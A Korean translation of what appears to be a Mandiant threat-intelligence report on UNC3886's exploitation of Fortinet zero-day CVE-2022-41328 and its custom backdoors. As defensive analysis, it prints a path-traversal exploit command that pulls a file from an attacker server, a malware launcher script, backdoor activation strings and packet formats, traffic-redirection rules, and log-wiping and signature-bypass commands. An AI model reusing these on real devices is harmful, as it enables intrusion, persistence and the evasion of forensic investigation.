Blog

포티넷 제로데이와 맞춤형 맬웨어를 사용하는 중국의 위협 행위자

Alexander Marvi, Brad Slaybaugh, Dan Ebreo, Tufail Ahmed, Muhammad Umair, Tina Johnson
Mar 16, 2023
20 min read
|   Last updated: Jul 27, 2023
Malware
Threat Intelligence
Zero Day Threats
Vulnerabilities

사이버 스파이 활동을 하는 위협 행위자들은 방화벽, IoT 장치, 하이퍼바이저 및 VPN 기술(예: Fortinet, SonicWall, Pulse Secure 등)처럼 EDR로 방어하기 어려운 대상으로 지속해서 표적으로 삼고 있습니다. 맨디언트(Mandiant)는 지난 수년 간 방위 산업 기반(Defense Industrial Base), 정부, 기술 및 통신 조직을 목표로 제로데이 취약점을 악용하고 맞춤형 맬웨어를 배포하여 사용자 자격 증명을 도용하고 피해 조직의 네트워크에 오랜 기간 접근한 것으로 보이는 수십 건의 침입을 조사했습니다.

맨디언트는 사이버 스파이 활동을 하는 위협 행위자들이 제로데이 취약점을 악용하여 인터넷에 노출된 시스템에 맞춤형 맬웨어를 초기 공격 벡터로 배포하는 것을 자주 목격합니다. 이번 포스팅에서는 중국-넥서스(China-nexus) 위협 행위자로 의심되는 공격자가 피해자 환경에 접근한 다음 해당 네트워크에 대한 지속적인 액세스를 유지하기 위해 포티넷 및 VM웨어 솔루션에 백도어를 배포한 시나리오를 알아봅니다. 참고로 맨디언트는 2022년 9월에 VM웨어 맬웨어 생태계에 대한 세부 정보를 발표한 바 있습니다.

2022년 중순에 맨디언트와 포티넷은 양사 협력 하에 포티넷 솔루션을 대상으로 한 맬웨어 배포를 조사하였습니다. 당시 조사 대상 솔루션은 방화벽인 FortiGate, 관리 솔루션인 FortiManager, 로그 관리와 분석 및 리포팅 플랫폼인 FortiAnalyzer이었습니다. 위협 행위자가 취한 조치는 다음과 같이 단계를 구분할 수 있습니다.

  • 로컬 디렉토리 트래버스 제로데이(CVE-2022-41328) 익스플로잇을 활용해 쉘 액세스 허용 범위를 벗어나 FortiGate 방화벽 디스크에 파일을 씁니다.
  • ICMP 포트 노킹(Knocking)을 통해 FortiGate 방화벽 내에서 슈퍼 관리자 권한으로 지속적인 접근을 유지합니다.
  • FortiManager 장치에서 활성화된 방화벽 규칙을 우회하여 슈퍼 관리자 권한으로 백도어에 계속 연결할 수 있도록 합니다.
  • 장치 내에서 생성된 사용자 지정 API 엔드포인트를 통해 FortiManager 및 FortiAnalyzer 장치에 지속성을 확립합니다.
  • 부팅 파일 손상을 통해 시스템 파일에 대한 OpenSSL 1.1.0 디지털 서명 확인을 비활성합니다.

맨디언트는 관찰한 활동의 배후에 중국의 UNC3886 그룹이 있다고 보고 있습니다. 이 공격 그룹은 2022년 9월에 공개된 새로운 VM웨어 ESXi 하이퍼바이저 맬웨어 프레임워크와 연관된 것으로 추정됩니다. 맨디언트는 ESXi 하이퍼바이저 침해가 발생했을 때 UNC3886이 여러 차례에 걸쳐 FortiGate와 FortiManager 장치에서 VIRTUALPITA 백도어로 직접 연결하는 것을 관찰하였습니다.

맨디언트는 포티넷 관리 IP 주소에서 VIRTUALPITA로 연결되는 것을 보고 FortiGate와 FortiManager 장치가 손상된 것으로 의심하였습니다. 또한, FIPS 준수 모드가 활성화된 FortiGate 장치는 나중에 재부팅한 다음에 다시 부팅을 하는 데 실패하였습니다. 그 이유를 살펴보자면 FIPS 모드가 활성화되면 운영체제의 체크섬이 클린 이미지의 체크섬과 비교됩니다. 위협 행위자가 운영체제를 변조한 결과 체크섬 비교에 실패했고, 이에 따라 FortiGate는 장치를 보호하기 위해 시스템을 다시 시작하지 못하게 조치 하였습니다. 맨디언트는 포티넷의 도움으로 부팅이 실패한 장치의 포렌식 이미지를 확보하였고, 이 장치를 분석해 ICMP 포트 노킹 백도어인 CASTLETAP을 발견하였습니다.

포티넷 생태계

UNC3886이 VM웨어 인프라를 가로질러 이동하기 전에 포티넷 생태계의 여러 구성 요소들이 침해 대상이 되었습니다. 침해 당시 이들 구성 요소와 관련된 버전은 다음과 같습니다.

  • FortiGate 6.2.7
  • FortiManager 6.4.7
  • FortiAnalyzer 6.4.7

시나리오 #1 요약: 인터넷에 노출된 FortiManager

맨디언트는 위협 행위자가 포티넷 기술을 악용해 네트워크 접근을 설정하는 두 가지 공격 라이프 사이클을 관찰했습니다. 첫 번째는 FortiManager 장치가 인터넷에 노출되었을 때의 접근입니다. 그림 1과 같이 위협 행위자는 정당한 API 호출로 가장한 백도어(THINCRUST)를 FortiManager와 FortiAnalyzer에 배포하였습니다. 두 장치에 지속성이 확보되면 FortiManager 스크립트를 사용해 FortiGate 장치에 백도어(CASTLETAP)를 배포하였습니다.

맨디언트는 포티넷 장치에서 ESXi 서버로 SSH 연결하는 것을 관찰하였습니다. 그리고 이어서 VIRTUALPITA와 VIRTUALPIE 백도어가 포함된 악성 vSphere 설치 번들(Installation Bundle)이 깔렸습니다. 이를 통해 위협 행위자는 하이퍼바이저에 대한 지속적인 접근 권한을 확보하여 가상 머신에 명령을 실행할 수 있게 됩니다.

본 포스팅을 작성하는 시점에서 맨디언트는 초기 접근을 얻거나 악성 VIB 배포에 사용된 제로데이 취약점에 대한 증거가 없었습니다. 참고로 VIRTUALPITA와 VIRTUALPIE는 2022년 9월에 올린 맨디언트 블로그 게시물에서 자세한 설명을 볼 수 있습니다.

Attack lifecycle while FortiManager was accessible from the internet
그림 1. 인터넷에 노출된 FortiManager를 대상으로 한 공격 라이프사이클

시나리오 #2 요약: 인터넷에 노출되지 않은 FortiManager

두 번째로 알아볼 공격 시나리오는 FortiManager 장치에 ACL이 설정되어 외부 접근을 TCP 포트 541(FortiGate에서 FortiManager로의 연결)로만 제한한 경우에 발생한 침해입니다. 그림 2와 같이 위협 행위자는 새로운 ACL을 우회하기 위해 FortiManager 장치에 네트워크 트래픽 리다이렉션 유틸리티(TABLEFLIP)과 리버스 쉘 백도어(REPTILE)를 배포했습니다. 위협 행위자는 TABLEFLIP 유틸리티로 설정한 리다이렉션 규칙을 통해 인터넷에서 직접 REPTILE 백도어에 접근해 피해자 환경에 지속해서 액세스할 수 있었습니다.

Activity after Internet access restrictions implemented to FortiManager
그림 2: FortiManager에 인터넷 액세스 제한이 적용된 후의 활동

시나리오 #1 상세 분석: 인터넷에 노출된 FortiManager

이제 인터넷에 노출된 FortiManager를 대상으로 한 위협 행위자의 공격 경로를 상세히 알아보겠습니다.

파이썬 기반 백도어 THINCRUST

맨디언트 분석 결과 위협 행위자는 FortiManager에 처음 연결할 때 합법적인 웹 프레임워크 파일에 파이썬 백도어 코드를 추가하였습니다. 맨디언트는 이 새로운 맬웨어 제품군을 THINCRUST로 분류했습니다. 위협 행위자는 그림 3과 같이 악성 API 호출인 'show_device_info'를 넣기 위해 합법적인 파일인 '/usr/local/lib/python3.8/proj/util/urls.py'를 수정했습니다. 이를 통해 위협 행위자는 '/p/util/show_device_info'에 대한 POST 요청으로 THINCRUST 백도어와 상호작용할 수 있었습니다.

Comparison of urls.py
그림 3: urls.py 비교

POST 요청이 'show_device_info' URL로 전송되면 이 요청은 '/usr/local/lib/python3.8/proj/util/views.py' 함수에 전달됩니다. 'get_device_info' 함수는 THINCRUST 백도어를 포함하고 있어 그림 4와 같이 POST 요청에 제공된 쿠키에 따라 위협 행위자가 명령을 실행하고, 디스크에 파일을 쓰고, 디스크에서 파일을 읽을 수 있게 됩니다.

THINCRUST backdoor python code
그림 4: THINCRUST 백도어 파이썬 코드

'get_device_info' 함수는 POST 요청 내에 두 개의 쿠키(FGMGTOKEN, DEVICEID)의 존재에 의존했습니다. FGMGTOKEN 쿠키는 'views.py'에 하드코딩된 RSA 키로 암호화되었고, DEVICEID 쿠키를 통해 받은 명령을 복호화하는 데 사용되는 RC4 키를 포함하고 있습니다. DEVICEID의 복호화 결과는 'id'와 'key'라는 키를 가진 JSON 인코딩 딕셔너리였습니다. 표 1과 같이 'id' 값은 백도어 내에서 실행할 작업을 결정하며 'key' 값은 수행되는 작업에 대한 인수로 작용하는 문자열을 포함했습니다.

표 1. get_device_info 백도어 기능

ID

명령

1

'key'에 저장된 명령줄 실행

2

HTTP 요청 내용을 'key'에 저장된 파일에 씁니다. 내용은 RC4로 암호화되어 있습니다.

3

'key'에 저장된 파일 내용을 읽고 RC4로 암호화된 내용을 클라이언트로 전송합니다.

'view.py' 파일에는 '@login_required' 데코레이터가 적용되어 있었습니다. 이 데코레이터는 다른 함수의 동작을 명시적으로 수정하지 않고 확장하는 함수입니다(데코레이터 호출 구문: '@). 그러나 악의적인 함수인 'get_device_info'는 시스템에 기본적으로 탑재된 Django 파이썬 모듈을 사용해 그림 5와 같이 함수에 '@csrf_exempt' 데코레이터를 추가했습니다. 이는 악의적인 API 호출에 대한 POST 요청이 로그인이나 CSRF 토큰 없이도 성공적으로 실행될 수 있다는 것을 의미합니다.

@login_required vs @csrf_exempt decorators
그림 5: @login_required와 @csrf_exempt 비교

맨디언트는 악의적인 API 호출 변형을 FortiAnalyzer 장치에서도 발견했습니다. 'view.py'의 백도어 함수인 'get_device_info'는 FortiManager와 동일했지만 백도어에 접근하는 데 사용되는 API 호출은 그림 6과 같이 FortiAnalyzer 장치에서 '/p/utils/fortigate_syslog_send'로 변경되었습니다.

FortiAnalyzer variant of urls.py: fortigate_syslog_send
그림 6: FortiAnalyzer의 urls.py 변형: fortigate_syslog_send

FortiGate 장치에서 CVE-2022-41328 악용

위협 행위자는 THINCRUST 백도어를 사용해 FortiManager와 FortiAnalyzer 장치 간 지속성을 확립한 후 여러 FortiGate 방화벽에 FortiManager 스크립트를 배포했습니다. 이 활동은 그림 7과 같이 FortiGate 로그에 기록되었습니다.

그림 7: FGFM 스크립트 배포 로그 항목

vd="root"
type="event"
subtype="system"
level="notice" logdesc="Upload and run a script"
user=”Fortimanager_Access”
ui="fgfmd"
msg=" User Fortimanager_Access via fgfmd upload and run script: <script_id> -- OK"

위협 행위자는 보안 전문가의 분석을 방해하기 위해 FortiManager 장치에서 스크립트를 삭제했습니다. 그러나 여러 이벤트 로그의 상관관계를 볼 때 스크립트가 경로 순회 취약점(CVE-2022-41328)을 이용했다는 것을 알 수 있습니다. 위협 행위자는 'execute wireless-controller hs20-icon upload-icon' 명령으로 취약점을 악용했습니다. 이 명령으로 위협 행위자는 평소 제한된 시스템 디렉토리에서 합법적인 파일을 덮어쓸 수 있었습니다. 일반적으로 'execute wireless-controller hs20-icon upload-icon' 명령은 FTP나 TFTP를 사용해 서버에서 FortiGate 방화벽에 .ico 파일(아이콘 파일)을 업로드하는 데 사용되며, 이 파일들은 HotSpot 2.0 온라인 가입(OSU) 포털에서 사용할 수 있습니다. HotSpot 2.0은 모바일 기기가 셀룰러 데이터와 공용 와이파이 간에 원활하게 전환할 수 있도록 하는 기술입니다.

'execute wireless-controller hs20-icon upload-icon' 명령은 두 가지 문제가 있습니다. 이 명령은 업로드되는 파일 유형을 검증하지 않았고, 디렉토리 순위 취약점에 취약하여 슈퍼 관리자 권한을 가진 위협 행위자가 파일시스템의 임의 위치에 65,535바이트보다 작은 파일을 업로드할 수 있게 했습니다. 이는 위협 행위자가 FortiGate 방화벽의 합법적인 시스템 파일을 대체할 수 있다는 것을 의미합니다.

취약점(CVE-2022-41328)을 성공적으로 악용하는 것은 FortiGate 로그에 기록되지 않습니다. FortiManager 스크립트 실행 시간에 취약점을 사용해 시스템 파일 '/bin/lspci'를 덮어쓰려는 위협 행위자의 실패는 그림 8과 같이 로그에 기록되었습니다.

그림 8: FortiGate elog 명령 실행 실패
execute wireless-controller hs20-icon upload-icon ftp ../../../../../../bin/lspci <TA FTP Server>
execute wireless-controller hs20-icon upload-icon tftp ../../../../../../bin/lspci <TA TFTP Server>

포티넷은 앞서 소개한 명령을 악용한 사례가 이전에는 없었다는 것을 확인했습니다. 그리고 이 취약점을 CVE-2022-41328로 지정하였습니다. 포티넷은 그림 8과 같은 실패한 명령 이벤트에서 확인한 구문을 사용해 취약점 악용 사례를 성공적으로 재현하였습니다.

'file_transfer: TFTP.Server.Buffer.Overflow repeated X times'가 msg 필드에 있는 FortiGuard 로그 이벤트에서 추가로 시도된 악용 증거가 발견되었습니다. 이러한 이벤트는 FortiGate 방화벽에서 FortiAnalyzer 장치로 연결을 보여줍니다. 패킷 내용에는 그림 9에서 볼 수 있는 lscpi 디렉토리 순회 문자열이 포함되어 있습니다. 파일 이름 'node'가 포함된 디렉토리 순회 문자열도 유사한 이벤트에서 참조되었습니다. 이는 FortiGate 6.2.7 장치의 '/bin/' 디렉토리에 있는 다른 이진 파일입니다. 그러나 맨디언트는 위협 행위자가 lscpi 이진 파일만 성공적으로 교체하는 것을 관찰하였습니다.

그림 9: IPS 센서 로그 - 공격 컨텍스트 필드

PFBBVFRFUk5TPiAAATsuLi88L1BBVFRFUk5TPgo8VVJJPiA8L1VSST4KPEhFQURFUj4gPC9IRUFERVI+CjxCT
0RZPiA8L0JPRFk+CjxQQUNLRVQ+IAABLi4vLi4vLi4vLi4vLi4vLi4vYmluL2xzcGNpAG9jdGV0ADwvUEFDS0
VUPg==

 

Base 64 Decoded

<PACKET> ..../../../../../../bin/lspci.octet.</PACKET>

심볼릭 링크를 사용한 의심스러운 백도어 (/bin/lspci -> /bin/sysctl)

맨디언트는 FortiGate 로그에서 본 실패한 명령을 기반으로 수정된 '/bin/lspci' 버전을 찾기 위해 여러 FortiGate 방화벽의 파일 목록을 검토했는데 총 두 가지 변형의 '/bin/lspci' 가 확인되었습니다. 이 중 하나는 독립 실행형 이진 파일이고 다른 하나는 '/bin/sysctl'로 심볼릭 링크된 버전입니다. 포티넷은 '/bin/lspci'가 항상 독립 실행형 이진 파일이어야 한다고 확인했습니다.

취약해진 FortiGate 방화벽에서 '/bin/lspci'와 '/bin/sysctl'에 대한 파일 목록 항목은 FortiGate 기기의 다른 합법적인 이진 파일과 일치하지 않는 유사한 타임스탬프를 포함하고 있었습니다. 또한, 손상된 FortiGate 방화벽의 '/bin/sysctl' 파일 크기는 손상되지 않은 기기에서 보고된 것보다 훨씬 컸습니다.

정상적인 상황에서 'diagnose hardware lscpi' 명령은 FortiGate 방화벽에 연결된 PCIe 기기 목록을 작성하는 데 사용되지만 위협 행위자가 합법적인 lspci 이진 파일을 심볼릭 링크로 교체하면 진단 명령어가 위협 행위자가 수정한 sysctl 파일을 실행할 수 있습니다. 그림 10과 11의 파일 목록 스니펫은 FortiGate 방화벽에 존재하는 원본과 수정된 '/bin/lspci' 및 '/bin/sysctl' 버전 간의 차이를 보여줍니다.

그림 10: /bin/lspci 및 /bin/sysctl에 대한 악성 항목이 있는 손상된 FortiGate 방화벽

COMPROMISED-FGT101F # fnsysctl ls -la /bin

...

lrwxrwxrwx    1 root     root             9 Oct 18 13:09 lldptx -> /bin/init

lrwxrwxrwx    1 root     root             9 Oct 18 13:09 lnkmtd -> /bin/init

lrwxrwxrwx    1 root     root            11 Oct 19 05:11 lspci -> /bin/sysctl

lrwxrwxrwx    1 root     root             9 Oct 18 13:09 lted -> /bin/init

lrwxrwxrwx    1 root     root             9 Oct 18 13:09 memuploadd -> /bin/init

...

-rwxr-xr-x    1 root     root       1478216 Oct 19 05:11 sysctl

...

그림 11: /bin/lspci 및 /bin/sysctl에 대한 합법적인 항목이 있는 손상되지 않은 FortiGate 방화벽

NON-COMPROMISED-FGT101F # fnsysctl ls -la /bin

...

lrwxrwxrwx    1 0        0       Fri Sep  2 12:07:55 2022         9 lldptx -> /bin/init

lrwxrwxrwx    1 0        0       Fri Sep  2 12:07:55 2022         9 lnkmtd -> /bin/init

-rwxr-xr-x    1 0        0       Fri Sep  2 12:07:55 2022    131736 lspci

lrwxrwxrwx    1 0        0       Fri Sep  2 12:07:55 2022         9 lted -> /bin/init

lrwxrwxrwx    1 0        0       Fri Sep  2 12:07:55 2022         9 memuploadd -> /bin/init

...

-rwxr-xr-x    1 0        0       Fri Sep  2 12:07:55 2022    251480 sysctl

...

수정 시간과 크기 차이 외에도 파일 목록 명령 'fnsysctl ls -l /bin'의 출력은 여러 필드를 다른 형식과 순서로 표시했습니다. 이는 위협 행위자가 ' /bin/sysctl'을 교체하여 FortiGate 방화벽의 쉘 기능이 변경되었기 때문일 가능성이 큽니다. FortiOS 파일시스템에 대한 변경은 영구적이지 않아 침해 분석을 위해 파일을 복구할 수 없었습니다.

기본적으로 FortiOS를 실행하는 포티넷 장치는 '/data/' 파티션 내에 rootfs.gz라는 디스크 아카이브를 가지고 있습니다. 부팅 시 이 파일은 루트 파일시스템으로 마운트됩니다. 이는 마운트된 이미지에 수정 사항이 있으면 rootfs.gz 아카이브에 쓰이지 않는 한 변경 사항이 영구적이지 않다는 것을 의미합니다. FortiGate 방화벽은 런타임 동안 마운트된 파일시스템에서 파일을 내보낼 수 없습니다. '/bin/lspci'와 '/bin/sysctl'에 대한 수정 사항이 rootfs.gz 아카이브에 기록되지 않았기 때문에 영구적으로 설치되지 않았으며 추가 분석을 할 수 없었습니다.

맨디언트는 포티넷과 협력해 손상된 FortiGate 방화벽의 포렌식 이미지를 획득하여 위협 행위자의 행동을 더 잘 파악할 수 있었습니다. 포티넷은 손상된 FortiGate 방화벽의 포렌식 이미지를 침해를 입지 않은 버전과 비교하여 영구적인 백도어가 포함된 트로이 목마 펌웨어를 식별했습니다. 맨디언트는 백도어를 새로운 맬웨어 패밀리인 CASTLETAP으로 이름 붙였습니다.

FortiGate 방화벽 백도어 CASTLETAP

FortiGate 방화벽 분석을 통해 추가 맬웨어인 '/bin/fgfm'을 발견했습니다. 분석 결과 이는 특수한 ICMP 패킷을 활성화로 감지하는 백도어인 CASTLETAP으로 판명되었습니다. 위협 행위자는 파일을 'fgfm'이라고 이름 붙여 합법적인 서비스인 'fgfmd'로 위장하려 하였습니다. 참고로 'fgfmd'는 FortiManager와 FortiGate 방화벽 간의 통신을 돕습니다.

CASTLETAP이 실행되면 네트워크 트래픽을 스니핑하기 위해 원시 프로미스큐어스(promiscuous) 소켓을 생성합니다. 그런 다음 ICMP 에코 요청 패킷의 페이로드에 있는 9바이트 활성화 매직 문자열을 필터링하고 XOR 디코딩합니다. 표 2는 CASTLETAP이 해석하는 매직 문자열과 그에 따른 작업 결과입니다.

표 2. CASTLETAP 매직 문자열 옵션

매직 문자열

설명

1qaz@WSXa

ICMP 페이로드에서 C2 서버 정보를 구문 분석하고 SSL을 통해 연결합니다.

hpaVAj2FJ

CASTLETAP 프로세스를 종료합니다.

ICMP 패킷 내의 C2 서버 정보를 디코드하기 위해 Epoch 날짜 표시를 사용해 페이로드 데이터를 복호화하는 단일 바이트 XOR 키가 생성되었습니다. 이는 인코딩 표준이 매일 변경되었다는 것을 의미합니다. 그림 12는 XOR 키 계산에 사용한 공식입니다.

그림 12: CASTLETAP XOR 키 계산

((year + 1900 + month * (year + 1900)) * date) % 255

  • year: index starting from 1900 i.e. current_year-1900
  • month: index starting from 0
  • date: index starting from 1

표 3은 ICMP 패킷의 페이로드 구조를 정의합니다.

표 3. CASTLETAP ICMP 패킷 구조

바이트 인덱스/범위

페이로드 섹션 설명

<0x00-0x01>

<flag indicating whether to create clone or not>

<0x01-0x02>

<unused>

<0x02-0x0c>

<9-byte magic string + null byte>

<0x0c-0x10>

<XOR encoded C2 IP>

<0x10-0x15>

<XOR encoded port>

활성화 패킷에서 C2 서버 IP 주소와 포트가 파싱되면 CASTLETAP은 SSL 소켓을 통해 C2 서버와 연결을 시작합니다. 연결이 설정되면 CASTLETAP은 C2 서버가 그림 13처럼 16바이트 시퀀스로 핸드쉐이크를 시작하며, 동일한 시퀀스를 응답으로 반복합니다.

그림 13: CASTLETAPP 핸드쉐이크 시퀀스

0x58, 0x90, 0xAE, 0x86, 0xF1, 0xB9, 0x1C, 0xF6, 0x29, 0x83, 0x95, 0x71, 0x1D, 0xDE, 0x58, 0x0D

C2 서버에 연결되면 표 4와 같이 CASTLETAP은 SSL을 통해 여러 유형의 명령을 받을 수 있습니다.

표 4. CASTLETAP 명령 키

명령

설명

0x1

피해자에게 파일 업로드

0x2

피해자로부터 파일 다운로드

0x3

busybox 기반 명령 쉘을 생성하고 그렇지 않으면 일반 명령 쉘로 대체

0x4

계속 받기

0x5

완료 받기

명령이 성공적으로 수신되면 백도어는 인증 토큰으로 ';7(Zu9YTsA7qQ#vw' 시퀀스를 반환합니다. 이 문자열은 세션 정료 신호로도 전송됩니다.

CASTLETAP이 FortiGate 방화벽에 배포되면 위협 행위자는 ESXi와 vCenter에 접근을 합니다. 위협 행위자는 VIRTUALPITA와 VIRTUALPIE를 배포해 지속성을 확립하고, 하이퍼바이저와 게스트 머신에 대한 지속적인 액세스를 가능하게 합니다. 이에 대한 상세 정보는 관련 포스팅을 참조 바랍니다.

시나리오 #2 상세 분석: 인터넷에 노출되지 않은 FortiManager

위협 행위자가 ACL이 설정된 FortiManager를 대상으로 수행한 공격 경로를 알아보겠습니다.

인터넷 연결이 제한된 FortiManager에 다시 액세스하기

FortiManager 장치에 ACL이 설정되면 위협 행위자는 장치에 대한 인터넷을 통한 액세스 권한을 잃게 됩니다. 이 경우 위협 행위자는 FortiManager에 다시 접근하기 위해 CASTLETAP으로 손상된 FortiGate 방화벽을 활용하는 다시 접근할 수 있는 발판을 마련하였습니다. 위협 행위자는 FortiManager에 성공적으로 다시 연결한 다음 세 개의 맬웨어를 배포하였습니다. 이는 표 5를 참조 바랍니다.

 

맬웨어 패밀리

파일 경로

설명

N/A

/bin/support

'/bin/auth' 및 '/bin/klogd'를 실행하고 디스크에서 '/bin/support'와 함께 두 파일을 삭제합니다.

TABLEFLIP

/bin/auth

TCP 포트 541의 FortiManager로 향하는 특정 IP 주소에서 지정된 다른 포트로의 네트워크 트래픽 리다이렉션을 설정하는 유틸리티입니다.

REPTILE

/bin/klogd

활성화를 위해 특수 패킷을 수신 대기하는 백도어 유틸리티입니다.

' /bin/support (MD5: 9ce2459168cf4b5af494776a70e0feda)' 파일은 ' /bin/klogd REPTILE 변형)'과 '/bin/auth(TABLEFLIP)'를 실행하는 런치 스크립트 역할을 했습니다. 위협 행위자는 시작 파일 ' /etc/init.d/localnet'을 수정하여 ‘nohup /bin/support &’ 라인을 실행하도록 했습니다. 이에 시스템이 재부팅될 때마다 스크립트가 실행되었습니다. 실행 중인 FortiOS 파일시스템은 아카이브 rootfs.gz의 일시적인 복사본이므로 파일은 메모리에 로드된 후 복사본에서 삭제되고 rootfs.gz 아카이브에 지속되었습니다. 이 파일은 포렌식 이미지를 가저 오지 않는 한 사용자가 액세스할 수 없었습니다. '/bin/support'의 내용은 그림 14와 같습니다.

그림 14: /bin/support의 내용

#!/bin/bash

 

#cp /bin/sh /bin/top

 

sleep 30

/bin/klogd

/bin/auth

rm -rf /bin/klogd

rm -rf /nohup.out

rm -rf /bin/support

위협 행위자는 인터넷을 통해 계속 장치에 직접 액세스할 수 있도록 모든 활성 인터페이스에서 특수한 명령 패킷을 수신하는 트래픽 리다이렉션 유틸리티인 TABLEFLIP(MD5: b6e92149efaf78e9ce7552297505b9d5)을 구현하였습니다. 이 유틸리티가 있으면 ACL 존재 여부와 관계없이 위협 행위자가 그림 15와 같이 FortiManager에 직접 연결할 수 있습니다.

TABLEFLIP behavior
그림 15. TABLEFLIP을 이용한 연결

TABLEFLIP은 모든 활성 인터페이스에서 TCP 패킷을 수신하도록 설정되었으며 TCP 541 포트로 전송되는 패킷의 TCP 페이로드 시작 부분에서 그림 16과 같은 매직 패킷을 찾았습니다.

그림 16: TABLEFLIP 매직넘버 시퀀스

17 03 01 01 D8 54 2F 31

매직 넘버가 발견되면 맬웨어는 TCP 페이로드의 오프셋 OxB에서 XOR 키를 추출합니다. 이 키는 XOR 기반 순차적 복호화를 위한 시드로 사용됩니다. TCP 페이로드 오프셋 0xC 이후는 이 스키마를 사용해 복호화됩니다. 그림 17은 페이로드 구조를 보여줍니다.

그림 17: TABLEFLIP 페이로드 구조

struct _payload

{

_DWORD magic_dword1;

_DWORD magic_dword2;

_BYTE unused[3];

_BYTE xor_key;

_DWORD command;

_DWORD ip;

_WORD port;

};

이 맬웨어는 페이로드에서 명령, IP, 포트를 추출하려고 시도했습니다. 표 6은 명령으로 인해 수행되는 작업에 대한 설명입니다.

표 6. TABLEFLIP 기능 키

명령

설명

0xFFFEFDFC

추출된 IP 및 포트 451과 일치하는 원본 IP가 있는 트래픽에 대해 추출된 대상 포트로 리다이렉션 사용

0xFCFDFEFF

추출된 IP 및 지정된 대상 포트와 일치하는 원본 IP가 있는 트래픽에 대해 리다이렉션을 사용하지 않도록 설정

트래픽 리다이렉션은 그림 18과 같이 명령 패킷에 지정된 소스 IP와 리다이렉션 포트를 사용해 FortiManager 시스템에서 iptables 규칙을 추가하여 수행되었습니다. 해당 IP와 포트 조합에 대한 PREROUTING 규칙이 이미 존재하는지 확인하기 위해 iptables가 실행되었습니다. 조합이 발견되지 않은 경우 PREROUTING 체인에 새로운 리다이렉션 규칙이 추가되었습니다. PREROUTING 체인의 규칙은 인터페이스에서 패킷을 받자마자 즉시 처리되었습니다.

그림 18: 트래픽 리다이렉션을 구현하는 iptables 규칙
iptables -t nat -S PREROUTING | grep <src_ip> | grep <redirection_port> || iptables -t nat -A PREROUTING -p tcp -s <src_ip> --dport 541 -j REDIRECT --to-port <redirection_port>

트래픽 리다이렉션을 삭제하도록 지정했을 때 TABLEFLIP은 grep 명령을 사용해 관심 대상인 IP 주소와 리다이렉션 포트를 포함한 PREROUTING 체인의 모든 라인을 필터링했습니다. awk를 사용해 적절한 규칙 ID들을 캡쳐했습니다. 이 ID들은 xarges를 통해 iptables에 전달되어 PREROUTING 체인에서 제거되었습니다. 이는 그림 19에서 확인할 수 있습니다.

그림 19: 트래픽 리다이렉션을 비활성화하는 iptables 규칙
iptables -t nat -S PREROUTING | tail -n +2 | grep -n -E '<src_ip>.*< redirection_port>' | awk -F: '{print $1}'| xargs iptables -t nat -D PREROUTING

REPTILE 백도어

위협 행위자는 FortiManager 장치에 대한 영구적인 액세스를 유지하기 위해 REPTILE이라고 부르는 공개적으로 사용할 수 있는 리눅스 커널 모듈(LKM) 루트킷 변형 백도어를 '/bin/klogd (MD5: 53a69adac914808eced2bf8155a7512d)'으로 배포했습니다. TABLEFLIP의 도움으로 위협 행위자는 iptables 트래픽 리다이렉션 규칙을 사용해 트래픽을 성공적으로 전달하고 REPTILE 백도어에 액세스할 수 있었습니다.

실행되면 REPTILE은 OSI 레이어 2(L2) 패킷을 받기 위해 패킷 소켓을 생성합니다. 패킷이 수신되면 백도어는 그림 20과 같이 검사를 수행하여 매직 문자열이 있는지 확인합니다.

그림 20: REPTILE 매직 문자열 감지 코드

single_byte_xor_key = (month * year) * day % 255

index = 2 * data_received_on_port_8[7];

data_to_decode_ptr = *((char *)&data[index + 12] + 1)
 

i = 0

while ( i < strlen(data_to_decode) )
    decoded_data[i] = data_to_decode_ptr[i++] ^ single_byte_xor_key;

 

 

strncmp(&decoded_data, "mznCvqSBo", 9)

표 7은 REPTILE이 해석하는 매직 문자열과 그에 따른 결과 동작을 보여줍니다.

표 7. REPTILE 매직 문자열 옵션

매직 문자열

설명

mznCvqSBo

SSL 연결로 통신하는 L2 계층 패킷을 통해 C2 서버 정보 구문 분석을 합니다.

hpaVAj2FJ

REPTILE 프로세스를 종료합니다(첫 번째 매직 문자열을 찾을 수 없는 경우에만 검색).

CASTLETAP이 C2 서버 정보를 디코드하는 데 사용한 방법과 비슷하게 REPTILE은 Epoch 날짜 스탬프에서 단일 바이트 XOR 키를 추출해 페이로드 데이터를 해독합니다. 이로 인해 암호화 키가 매일 변경되었습니다. 그림 21은 XOR 키를 계산하는 데 사용한 공식입니다.

그림 21: REPTILE XOR 키 계산

(month * (year + 1900)) * day % 255

  • year: index starting from 1900 i.e. current_year-1900 
  • month: index starting from 0
  • date: index starting from 1

매직 문자열 'mznCvqSBo'이 발견되면 활성화 패킷 페이로드의 나머지 부분에서 추출된 C2 서버 IP 주소와 목적지 포트로 리버스 쉘이 생성됩니다. 첫 번째 매직 문자열이 없으면 바이너리는 두 번째 매직 문자열 'hpaVAj2FJ'을 찾습니다. 두 번째 매직 문자열이 발견되면 REPTILE 프로세스가 종료됩니다. 매직 문자열을 찾을 수 없으면 백도어는 다른 연결을 계속 수신합니다.

위협 행위자가 사용한 포렌식을 방해하는 기법

로그 지우기 및 수정하기

맨디언트는 FortiManager의 시스템 메모리를 분석해 위협 행위자의 IP 주소를 포함하는 여러 로그 소스의 특정 이벤트를 지우는 데 사용한 명령을 식별했습니다. 그림 22의 명령은 위협 행위자가 THINCRUST 백도어에 연결하는 데 사용된 IP 주소를 포함하는 로그 항목을 제거하는 데 사용되었습니다.

그림 22: 위협 행위자의 안티포렌식 명령
echo > /var/log/django.log; \
echo > /var/log/apache2/error_log; \
sed -i ‘/<ipaddress>/d’ /var/log/apache2/*log; \
ls -alt /var/log/ /var/log/apache2/

위협 행위자는 부팅 시 파일시스템에 대한 디지털 서명 검증 확인을 건너뛰기 위해 그림 23과 같은 명령을 FortiManager와 FortiAnalyzer 장치의 rootfs.gz 아카이브 내 '/etc/init.d/localnet' 시작 구성에 추가했습니다.

그림 23: /etc/init.d/localnet - DD 명령어
printf "t" | dd of=/bin/smit bs=1 count=1 conv=notrunc seek=22866 2>/dev/null

